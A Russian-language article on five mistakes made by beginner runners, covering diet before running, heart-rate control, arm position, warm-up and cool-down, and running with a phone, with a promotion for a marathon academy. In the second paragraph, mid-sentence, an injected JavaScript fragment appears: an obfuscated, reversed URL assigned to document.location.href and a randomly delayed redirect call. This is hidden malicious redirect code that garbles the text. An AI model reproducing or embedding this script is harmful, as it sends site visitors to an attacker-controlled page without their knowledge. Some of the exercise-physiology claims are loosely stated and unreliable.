5 главных ошибок новичков в беге

Беговой сезон вот-вот начнётся. Летом станет ясно, кто не отсиживался зимой дома, а тренировался, тренировался и тренировался. Если же вы только начали бегать, этот материал придётся вам как нельзя более кстати — вы сразу будете избегать этих ошибок и приблизите достижение личных рекордов.

Шеф-редактор fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru Полина Непомнящая продолжает готовиться к первым 21,1 километрам вместе с Академией марафонского бега. За два месяца подготовки она узнала кучу всего нового о беге, в том числе с какими ошибками бегунов чаще всего встречается главный тренер академии Алексей Коробов. Да, некоторые из этих ошибок совершала и Полина. Но вы их старайтесь не повторять.

1. Вы бегаете на голодный/полный желудок

5 главных ошибок новичков в беге. Изображение номер 1

Фото: wellandgood.com

На голодный желудок часто бегают те, кто стремится похудеть с помощью бега или же просто не любит завтракать и при этом тренируется с утра. Такой подход вряд ли увенчается успехом — энергия и силы закончатся в середине пробежки. Идеальный завтрак для бегуна — овсянка или омлет. Для тех, кто привык пропускать завтрак, овсяное печенье или половинка банана тоже станут отличным вариантом.

 

Вторая ошибка — сначала плотно поесть, особенно что-то жирное, а потом пойти тренироваться. Это негативно отразится на состоянии печени — ей будет тяжело выполнять свои функции и в середине тренировки или даже раньше бегун, скорее всего, остановится из-за боли в боку. Чтобы вы всё-таки не зря выходили на пробежку, достаточно придерживаться нескольких простых правил. Старайтесь не есть за три часа до тренировки. Если собираетесь бегать вечером, придерживайтесь следующей схемы: обед (например макароны с сыром), тренировка и только потом ужин. В последний приём пищи отдайте предпочтение белковым продуктам — курице, индейке, белой рыбе.

 

Не забывайте в течение 30 минут после пробежки закрыть углеводное окно — съешьте тот же банан или овсяное печенье. Так вы скорее запустите процесс восстановления мышц и организма.

2. Вы не следите за пульсом

5 главных ошибок новичков в беге. Изображение номер 2

Фото: livestrong.com

Отсутсвие контроля за пульсом во время тренировок вряд ли может закончиться чем-то хорошим для здоровья. Новички склонны преувеличивать свои возможности и стараются каждый раз бегать всё быстрее и быстрее, при этом совершенно не ориентироваться на частоту сердечных сокращений. Если сердце спортсмена к подобным нагрузкам не подготовлено, оно может просто не справиться — возможно развитие серьёзных сердечных заболеваний. К тому же сердечная выносливость будет плохо развиваться.

 

Так при каком пульсе нужно бегать? Есть пара универсальных рекомендаций. Если у вас нет возможности приобрести пульсометр, бегайте в таком темпе, чтобы вы могли спокойно при этом разговаривать. Как только дыхание начинает сбиваться, замедляйтесь — но не останавливайтесь. Главным признаком комфортного бега является достаточное снабжение мышц кислородом. А это определяется по ровному дыханию.

 

При наличии монитора частоты сердечных сокращений (ЧСС) вы можете отслеживать свои пульсовые значения и тренироваться строго в определённых зонах. Эти зоны индивидуальны. Поэтому рекомендуем пройти медицинское обследование, чтобы рассчитать эти тренировочные зоны и убедится, что ваше сердце здорово, оно нормально реагирует на нагрузку, и что после тренировки вы хорошо восстанавливаетесь.

 

Для тех, кто вообще не понимает как определить эту границу, за которую нельзя выходить, мы предлагаем просто взять за основу 130—145 ударов в минуту. При достижении этой величины вы должны чуть замедлиться и перейти на шаг, пока не восстановите своё сердцебиение (100—110 ударов в минуту).

3. Вы неправильно держите руки

5 главных ошибок новичков в беге. Изображение номер 3

Фото: verywell.com

Если понаблюдать за основной массой бегунов-любителей, у всех можно заметить одну и ту же ошибку — неправильную постановку рук. Чаще всего люди бегают, перемещая руки перед собой (как на картинке). Как правильно: держите руки параллельно корпусу и сохраняйте угол в локте 85 градусов. Движение рук должно напоминать движение маятника. Как только вы исправите эту ошибку, сразу почувствуете разницу.

 

Помимо неправильного положения рук, есть и другие популярные ошибки: неправильное положение корпуса, приземление на пятку, бег на прямых ногах. Своими силами тут уже не обойтись — исправить всё и поставить правильную технику бега поможет только опытный тренер, например Алексей Коробов из Академии марафонского бега. Кстати, сейчас в академии идёт набор новых групп. Так что если в ваши планы на этот год входит забег на 10 километров, полумарафон или даже марафон, пора это осуществить.

4. Вы не делаете разминку и заминку

5 главных ошибок новичков в беге. Изображение номер 4

Фото: keywordsuggest.org

Каждую тренировку необходимо начинать с различных упражнений, например с этого комплекса, который поможет размять тело и мышцы. Но это не всё — первые 10 минут нужно бежать довольно медленно, чтобы мышцы и связки успели согреться. Помните: мышцы разогреваются быстрее, чем связки. Подобная разминка поможет избежать растяжений.

 

Заминка — обязательная часть любой тренировки: с помощью неё нейтрализуется молочная кислота, восстанавливается привычная работа сердца. Зимой делать заминку нужно спустя примерно 20 минут после тренировки — в минусовую температуру мышцы становятся «холодными», и если делать растяжку сразу после пробежки, можно запросто получить травму. Важно помнить и о другом: тянитесь именно после тренировки, а не до — иначе высок риск получить разрыв мышц, связок или сухожилий.

5. Вы бегаете с телефоном в руке

5 главных ошибок новичков в беге. Изображение номер 5

Фото: bestproducts.com

Конечно, с музыкой легче и веселее заниматься спортом. Поэтому телефон/плеер и бегун уже давно стали единым целом во время любой тренировки, будь она в тренажёрном зале или на улице. Но отсутствие специального чехла, сумки или просто карманов вынуждает бегать с телефоном в руке. Мало того что это просто неудобно, это меняет технику бега — происходит зажимание мышц, появляются болевые ощущения. Выход простой — советуем купить чехол или сумку.

Статьи по теме

Как подготовиться к первому полумарафону

Мюнхенский марафон: чему может научить бег

Можно ли бегать в мороз

Как начать бегать: 9 советов врача перед первой тренировкой

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector